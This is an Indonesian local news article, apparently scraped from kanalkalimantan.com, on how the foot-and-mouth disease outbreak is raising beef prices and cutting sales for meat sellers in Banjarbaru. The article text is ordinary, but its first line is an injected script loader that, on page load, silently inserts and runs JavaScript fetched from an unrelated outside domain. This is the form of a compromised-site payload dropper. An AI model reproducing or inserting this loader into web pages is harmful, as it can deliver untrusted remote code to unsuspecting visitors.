(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Wabah Penyakit Mulut dan Kuku (PMK) pada ternak selain berdampak pada sektor ekonomi. Walau di Banjarbaru belum ditemukan kasus hewan ternak terinfeksi PMK, namun pedagang di pasar merasa imbasnya.
Hal ini menyebabkan harga sapi maupun dagingnya melonjak tidak seperti biasanyanya. Seperti yang dirasakan pedagang daging potong di Pasar Bauntung Banjarbaru.
Pedagang Daging Potong, Raudhatun mengatakan dampak PMK sudah dirasakan oleh pedagang daging potong, ada kenaikan harga dan daging sulit didapat.
“Berdampak, dari harga jual naik,” ujarnya.
Baca juga: Kijang Terjun Bebas Seruduk Toko Burung, Penjual: Banyak Lepas, Kerugian Capai Rp70 Juta
Dikatakannya, harga daging sebelum PMK dijual dengan harga Rp 120 ribu perkilogram setelah PMK merebak harga daging menjadi Rp 150 perkilogram.
“Harga jualnya naik, karena barangnya ini lagi sulit didapat,” katanya.
Diutarakan Raudhatun, dampak dari PMK juga merambat pada jualannya. Biasa dlam sehari bisa menghabiskan 50 kg, tapi sekarang hanya bisa menghabiskan 20 kg yang diambil dari penjagal sapi sekitar Banjarbaru.
Diakuinya banyak pembeli yang khawatir mengenai PMK pada daging sapi yang dirinya jual. Namun, tidak sedikit juga para pembeli yang membeli dilapak dagangannya tertama para pembeli langganannya.
“Dampaknya ini rata semua kepada para penjual daging sapi, tidak hanya satu atau dua orang saja yang merasakannya,” tuntasnya.
Dirinya hanya bisa berharap PMK pada hewan ternak ini cepat berlalu dan dinas terkait dapat menangani PMK agar tidak menyebar luas di Kota Banjarbaru.
Baca juga: Usut Penyebab Kematian, Jenazah Marjuni Dibawa ke RSUD Ulin untuk Otopsi
Sementara, Kepala Sub Koordinator Produksi Peternakan, Bina Usaha dan PHP, drh. KT. Wulan R. mengatakan penyakit ini imbasnya sangat cepat sebab merugikan kepada peternak.
“Kalau terinfeksi sapinya tidak bisa dijual hanya jual dagingnya saja, sedangkan peternak terus memberi pakan tiap hari dan itu memerlukan dana,” ujarnya
Dilanjutkannya, pemerintah sangat menghindari PMK dikarenakan sangat berdampak bagi ekonomi peternak.
Apabila ada teridentifikasi maka bagian tangan, kaki, kepala dan jeroan lebih baik dibuang jangan dimakan, walau PMK ini tidak menular kepada manusia.
“Daging masih bisa dikonsumsi dan tidak menularkan kepada manusia,” sambungnya.
Dengan adanya wabah PMK juga berdampak bagi kenaikan harga, sebab mendekati Hari Raya Idul Adha permintaan sapi akan meningkat sedangkan beberapa jalur lintas ternak ditutup untuk dua provinsi Jawa Timur dan Aceh.
“Konsekuensinya harga pasti naik, karena permintaan banyak barangnya sedikit,” tuntasnya.
Lebih jauh, pihaknya terus gencar dalam memberikan sosialisasi kepada peternak terkait pencegahan PMK pada hewan ternaknya.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
KANALKALIMANTAN.COM, - Kabar menyedihkan datang dari salah satu perusahaan sepatu bersejarah di Indonesia yakni Bata.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pembangunan trotoar di kawasan Jalan Kemuning Banjarbaru, Kecamatan Banjarbaru Selatan, Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More
KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More
This website uses cookies.